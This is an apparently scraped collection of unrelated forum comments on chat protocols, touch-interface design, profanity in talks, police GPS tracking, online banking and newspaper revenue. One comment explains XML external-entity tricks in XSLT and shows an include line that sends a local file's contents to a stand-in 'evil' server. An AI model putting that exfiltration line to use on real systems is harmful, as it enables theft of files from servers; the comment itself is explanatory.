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What's the advantage of an IRC-backed chat vs. a Jabber-backed chat?

Sure, IRC's protocol is simpler, but it's also not designed to support authentication or security natively, or to be federated in a "cross-network" way like XMPP is. It seems that XMPP is more modern, more flexible, and supports real user authentication natively - a win in every respect.

Plus most of the clients people these days use for IRC (Adium, irssi, Pidgin, XChat) support Jabber anyway.
This is kind of right, but it's like traveling back to the '20s and telling your grandfather that he should go into iPhone contracting if he wants to make money — good advice, totally wrong audience. If the people in charge at most newspapers actually had the first clue about the Web, the industry wouldn't be in so much trouble.
Mostly it doesn't actually work.

But the one trivial example I tried the berp interpreter was something like 1000 times slower than Python.
One would hope the batteries (or the station) would know how much energy is stored in each battery --maybe offering a discount (credit) on the subscription if the battery is below certain energy threshold. 10% discount on a battery with 80% energy store of a new one, for example.
Love the effort put into the presentation of this blog post.

Although I personally love all the shiny finger gestures, must agree that this "vision" is only a sexy marketing trick and contains very little actual innovation, and probably even less actual innovation that Microsoft will actually build in the near future, or the long future.

As per the abundance of motors skills that we have, it would indeed be lovely to have those utilized in the future, along with voice and vision, all combined in some complexly simple and elegant way of interacting. Baby steps at a time?
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Agreed, his alternative phrasing may be more fitting though

"The sort of twee person who thinks swearing is in any way a sign of a lack of education or verbal interest is just fucking lunatic"
The only thing I am sure of after reading this article is that I really cant stand the term "User Experience" and the abbreviation "UX".
If you don't like the transparency, turn it off.
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Does this mean you only find out where your funds are if you call and ask, or is there some page (probably hidden under an 'advanced options' panel I suppose) showing the underlying accounts and their balances, internal transfer transaction logs, etc?
Another avenue for substantial progress in interface design, in the same vein as the article's proposition, is tactile feedback, available today from vendors such as Senseg:

http://senseg.com/experience/senseg-demos

This technology has the capacity to bring us beyond "pictures under glass", and seems ready for integration in today's devices, with proper OS and API support.

I could see combining an e-ink display with this kind of tactile feedback surface to replace the user-exposed lower half of a laptop with a device capable of contextual interfaces. Something like this would offer great potential benefits to the user, with no apparent drawbacks.
> What's the point of splitting apart the capturing of the data and the storage of the data?

Because they are different. If the data is collected, but only kept for a period of time determined by some oversight committee, then where is the harm?

> it is another small step in the transfer of power from the hands of the people into the hands of the government.

So, you're arguing against even allowing warrants (which are handed out by the government)? Because if one branch can oversee warrants, they can also provide oversight on the other end as well.
I agree that in a world where banks try their hardest to screw their customers, people should know how banks work. But a better world would be one where people don't need to worry about how their bank might screw them because their bank is not trying to screw them.

Anyway, in point of fact, most people don't inform themselves of these things, and I don't think those people should be punished for assuming their bank will be trustworthy.
What about the rest of our capabilities using our other senses (sound, smell, taste)? Does anybody think that we will incorporate them into future interfaces more?
Yeah, there are so many fantastic lines in that video. The part where he calls out the "swearing is unnecessary" argument is probably my favorite.
Ok fair. With Simple I can have a nifty way to view my expenses and have no hidden fees. The cost to me is nothing out of pocket, but I have to let Simple manage my money. I can see being more useful than a prepaid visa card for (college)kids, but it seems rather limiting to compete with standard checking accounts.
Same in English; calling someone "simple" is short for "simple-minded" or "a simpleton".

Don't hear it used much though, and it's unlikely to be the first thing that pops into someone's head.
If it's higher, move from the front. If it's lower, start at the back. You have to check each time you do it.
This was similar to my own reaction [0], that these concept videos don't look far enough forward.

And, maybe because I'm just a born contrarian, as the world moves toward touch-based direct-manipulation paradigms, I've personally been moving toward a more tactile, indirect paradigm. I recently bought a mechanical-switch keyboard, for example, that I'm growing more and more fond of every day. I've also started looking for a mouse that feels better in the hand, with a better weight, and better tactility to the button clicks.

The lack of tactility in touch screen keyboards has always been especially annoying to me. There's just so much information there between my fingers and the keys. I mean, there's an entire state -- the reassuring feeling of fingers resting on keys -- that's completely missing.

I accept the compromise in a phone, something that needs to fit in my pocket so I can carry it around all the time. But this makes me lament the rise of tablet computing. This is the sort of place that I refer to when I talk about tablets privileging consumption over production.

I don't think the problem is relegated to UI hardware, though. I think part of what's holding back a lot richer and more meaningful social interaction online is the fact that current social networking paradigms map better to data than to human psychology. It's the parallel problem of fitting the tool to the problem, but not the user.[1]

I'm not sure I agree with the direction he points to (if I understand him correctly). Making our digital tools act and feel more like real, physical objects is akin to 3D skeuomorphism. It's like making a device to drive nails that looks like a human fist, but bigger and harder. Better, I think, to figure out new ways to take advantage of the full potential of our senses and bodies to manipulate digital objects in ways that aren't possible with physical objects. And, please, Minority Report is not it.

[0]: http://news.ycombinator.com/item?id=3184216

[1]: More here: http://blog.byjoemoon.com/post/11670022371/intimacy-is-perfo... and here: http://blog.byjoemoon.com/post/12261287667/in-defense-of-the...
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> There will be a new release every six weeks.

The corrollary to this being that releases are no longer news.
Ok, so I got Chrome, still not impressed, it's like an interactive, except only a couple of the pages are interactive, I mean, I don't mean to be down on the product, but really, this is a website, it is not a new thing ?
You are right, there is a possible niche that is probably profitable. Thus the businessmodel might be valid, even if they have no chance of hitting any main stream markets (with the businessmodel they have right now).
Swearing is the spice of language, some people like more spice, some people like less, some like their food bland. But there is a point at which the food just tastes salty, and most importantly you need a blend of spice to make things really shine, you can't just use salt and MSG.

Swearing is an art, not a science.
The reason they are doing this is to get updates out to users faster not slower.

Look at the memory changes from 4->8, they're putting in updates little by little. The train station model of development fits web browsers much better than prolonged giant version leaps that change almost everything.
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And this is but one, canonical example of the extraordinary linguistic versatility of fuck. I believe there's a whole literature on it.

And while we're on the subject, I believe there's even more literature on the fact that the distinction between swear words and ordinary words is deeply embedded in our language processing, such that swear words activate special emotional pathways. You literally can't get an innocent word like blog to elicit the same audience response as fuck... unless, presumably, you train an audience of babies, from the earliest stages of language acquisition, to think of blog as some kind of terrifying swear. Which will be hard to do. Babies are more difficult to fool than you'd think.
The exact argument against the use of profanity is that the omelet would be better described as "something that dropped out of my dog's dirty backside" or something similar. That is, there is no "eloquent swearing" exception. At all. Full Stop.

Holding that profanity can be used to positive effect in conveying passion and attitude is the precise argument against the "profanity is a crutch" crowd.
This was a joke, forget to include :), here's an extra one for kicks :)
I dunno, I was pretty happy with it. It was really nice to have at conferences. Like any social medium, there's a tough chicken-and-egg nut to crack. I'm going to try to use it at Supercomputing next week.
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Who said he was looking for one aimed at ordinary users?
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This stuff is so common it's scary. Just do a search for "penny stocks" and this junk will come right to the top. Sad story
you could improve the compensation algorithm to adjust for risk.
When they show the content to free for google, that implies to me that the content is not behind a paywall. Showing different things to Google and to me is deceptive. It would be like a manufacturer someone finding out where Consumer Reports buys their test cars, and sending special high quality cars there, while selling the rest of us normal crappy cars.
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I would have thought you'd contact the ATM operator first.
Don't really understand on how much potential money you can get from this? You're saying a max of 250 k per class and each group will just get 2500 - 5000 max?
Nicely done!

One of the things I've seen happen to a lot of technically-oriented podcasts is they become irregular and then eventually disappear.

I think with a topic like Clojure you have a lot to discuss, since it's rapidly evolving. If you can't find people to interview or the community has been otherwise slow, you can always talk about facets of Clojure (threading & STM, etc).
Is this great news, or good news, or nothing too exciting? Dunno. It might be interesting to learn how many people read this in another browser, popped over to firefox to update it ... and then returned to their other browser. We may be at the point where browsers are like toilet paper -- lots of brands will do the work, and it's hard to pay much attention to which one is installed.
Glad you mentioned Tim here. He's one of about five truth-tellers in that world of scams. Great resource
Jetpack is preferred because it's easier to write, reduces compatibility problems between versions (because there are fewer "hooks" into deep FF innards), and you don't have to restart to install, uninstall, or reload them. Of course there are limitations, but unless you really need something in XUL that's not available in Jetpack, Jetpack is the way to go.
Fascinating. Have you tried any of the Japanese pull saws? How do those compare to a good handmade western saw? I've only dabbled in woodworking, but I found those pull saws to be much more manageable than the other saws I had available to me.

On the knife front, I use some cheap carbon steel French knives called Opinel. They're excellent, except for their penchant for rusting (not a huge issue, it wipes away, they just don't stay shiny). I would assume that they're factory made, given that they're less than $10. I think they use the same design they've been using for 100 years.
Pretty cool idea, but when using this app aren't there a few different people fighting for control? I feel like that might get kind of frustrating.
Compared to the OS course I've taken in Sweden this seems to cover more, but I can't find how many credits you get from it. It is scheduled from September to end of december, but is it full time during this period or do they take other courses at the same time?

Edit: URL: http://pdos.csail.mit.edu/6.828/2011/index.html
(a) I don't think it's reasonable for LEOs to invade my driveway, garage, &c to install telemetry devices, just like I would have a problem with getting tickets for having expired tags if my car was pulled all the way into my driveway (which, at least here, the police can't do).

(b) What we're dealing with here is the balance of conflicting interests. What I see is a scale, from "every car is tracked" through "many cars are tracked" to "very few cars are tracked" (though, honestly, I think we all know that proportionally very few cars are going to be tracked with manually-attached FBI telemetry devices). What I'm saying, and the answer to your "why?" question here, is that the state's interests at this point on the scale are more compelling than the individual interests.†

(c) Why is the information we're talking about from telemetry devices any different from dash-cam videos from tail cars, or from pen registers monitoring phone lines, or...? I don't see this as germane. The answer? No, I don't think information collected by law enforcement agencies during investigations should be made public.

(d) Here you've lost me completely. Almost any search is reasonable? Strong disagree!, as they say on Wikipedia. I think fewer searches should be reasonable, in any event, but this isn't a "search", any more than the smoldering one-hitter you leave on the empty passenger seat in your car is "searched" when a cop spots it after ticketing you for weaving in between lanes. Is there an argument that disabling GPS telemetry is evidence of criminal intent? Of course not, no more than closing your shades is evidence of criminal intent when the police are surveilling your house, or shredding documents is intent when the police are collecting your trash.

(e) The difference between a phone conversation and the presence of your vehicle on a public street is the difference between an almost total "reasonable expectation of privacy" and an almost nonexistent "reasonable expectation of privacy". I don't know whether you're arguing this point or not; it may be that I have to agree with the premise that "every search is reasonable" to agree with this point.

† Other people on HN will contend that we should make no concessions against individual interests at all, because, America. But we both know that virtually every individual interest we have has been hardened by decades and decades of tests of the state's legitimate interests vs. individual interests, so that for instance the passenger compartment of my car can be searched incident to an arrest but no the trunk &c &c
Open source software != free service -- in fact, even when the software is open source, you usually have to pay for a hosted, managed service.
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This isn't an article so much as an advertisement: "Lloyd W. Armbrust is CEO of OwnLocal, a company that helps newspapers fix their revenue problems."

His idea of "fixing revenue problems" is having newspapers pay his company a bunch of money so they convert money that probably would already have been spent on local advertising into money paid for web services. No mention of how much cannibalization was involved in the case studies.
He was talking about Ubuntu. Are you suggesting that Ubuntu is not aimed at ordinary users?

> The thing I don't like about Ubuntu is that they take the kitchen sink approach [. . .]
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They seem to have some PR "help" too. For example, this story from "Bedford Research" made the wires and at first glance seems to imply, falsely, that Raystream and Level 3 worked together: http://finance.yahoo.com/news/Breakthrough-Technology-From-i...
I really dislike the lack of tactile feedback on touch devices, as well.

There's technology out there to /provide/ tactile feedback on these devices - but it hasn't been rolled out to anything consumer yet, that I'm aware of.

I can't wait for it:

http://thenextweb.com/apple/2010/10/29/electrostatic-feedbac...
If a hobby makes you happy, then you don't need any further justification for it.
I wonder what the data retention rules and/or policies regarding these devices under either warranted or non-warranted use (on the off chance that they're different).

Is there any guarantee in place that one of them might be attached to an innocent persons vehicle, only to have some budget-desperate bureaucrat decide to datamine his departments last 2 years worth of archived GPS tracking data in search of fineable offenses?

"Your car was detected exceeding the speed limit 63 times on 101 southbound on weekday mornings, and 59 times on 101 northbound on weekday afternoons between 01 Jan 2011 and 31 Mar 2011. We are offering you a one-time opportunity to settle all 122 speeding offences for $45 each, a 75% reduction on the minimum fine amount, if you pay $5,490.00 online by creditcard and waive your rights to appeal by 5pm on Fri 11th Nov. Failure to pay in full by Fri 11th may result in issue of 122 speeding fines @ $180 each resulting in a total fine of $21,960.00. Regards, your local cash-strapped local government area police department."
This comment has so little to do with the actual article we're discussing that it stands as evidence for why HN can't discuss articles like this.
Right. New features might be news, but new versions shouldn't be.
Im glad you posted that comment because i've had similar experiences myself and i was starting to think it was just me. Google's documentation on this particular subject i feel is really poor.
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*... can be followed around in ways that would be impractical otherwise. With a warrant, they at least have to justify their use and it would create a paper trail that would document any abuse of power."

This is a key point. The problem isn't so much that certain things are done under legitimate circumstances, but that they sometimes happen under dubious or plainly immoral circumstances.

Introducing some friction to the process means there's essentially no significant barrier to doing it but it's still not entirely cost-free; there's some overhead involved making it less likely to happen nilly-willy and increasing the changes that improper action will be caught by some oversight.
the whole point of this scheme is that there shouldn't be point releases. having them throughout the year is just as bad as any other point release.

the reason behind going to full numbers is that if you don't have the latest version, you have the wrong version. if there is a 13.1 and a 13.2, it makes it seem like people using 13.1 are still using the latest version. they aren't.
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So freaking hard core
Strange things can sometimes be done with XSLT, for example by using external entities. An external entity can be a file that stores part of a DTD or something else. It could be an interesting file on your system, say we call it something like 'blah'. Then we can send &blah; to our evil server:

<xsl:include href="hxxp://evil.example.com/hello?&blah; />

This is similar to stealing cookies with JavaScript through a cross-site scripting vulnerability by adding a new image to the page, hotlinked from an evil server and passing cookie information as a parameter.
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Interesting to see the responses here.

I felt the point was spot on, which is that if you are going to use profanity in your presentation it is useful to 'think twice' which I read as, "Sit back and think about what you are trying to achieve by doing that." The OP gave some examples of reasons people might come up with; waking up the audience, setting the tone, Etc. In general there is a lot of difference between folks who do spend a bit of time thinking about their presentation and those who basically spin one off on the fly.

So if you're using profanity, and you think about why you chose to use profanity, and you agree with that choice then by all means go with it. However if you find that you're trying to bracket some key message that you really want your audience to go home with, then perhaps swearing isn't necessary. It can also be a lot less effective than you think.

Saying "Social media is so over" can be more effective at getting attention than "What the fuck is Social Media?" if the audience is invested in social media and have been defending it, as a concept/meme/market, with skeptical acquaintences.
>I can see being more useful than a prepaid visa card for (college)kids, but it seems rather limiting to compete with standard checking accounts.

I'm not sure if your ability "to see" anything is relevant, but your characterization seems extremely shortsighted. Do you honestly believe that innovative startups of this kind launch with one set of features and never make improvements or add features later? I can think of lots of ways a company could innovate in the banking world, so I guess they are only limited by imagination.
Show me people that were $80k corp developers who left, did nothing else except the exact same things they did as corp devs (minus corp redtape) who made millions. No one does. To function, more stuff than just programming needs to happen.
> chat itself is no service anymore

And yet lots of shops pay 37signals for Campfire
It's designed to be a very small round. Much like with other incubator concepts, the money is a formality. The nice thing about Dandelion is that applicants typically have a great day job that is paying their bills and living expenses, so 100% of dandelion's investment can go directly into the product.
And it allows brides to save up to 100% off retail! These slides don't speak very well to their creators' grasp of numbers.
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Sound probably. But I doubt smell and taste would ever play large roles in UI design - it isn't a huge part of how we interact with the world aside from the obvious bits about eating.
Alas, OS X doesn't seem to support anything like this.
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Your comparison to the word "very" is unintentionally apt. There's no reason to use the word "very." It's a weak word, and it signals that you just couldn't come up with anything more interesting to say.

So too with swearing just to get an audience's attention.
Most of our newspapers see new customers, and an on-whole margin increase of 10% annually.

Think of it this way, a small print ad costs $100 for one-time placement. Most real newspaper customers are the ones who can afford $10k-$100k per year.

For that same $100 monthly, we can give that customer a website, SEO, and social-media management--basically opening up a newspaper's customer base to a much wider audience.

BTW, we only do a revenue share, so that bunch-of-money is coming directly from new customers.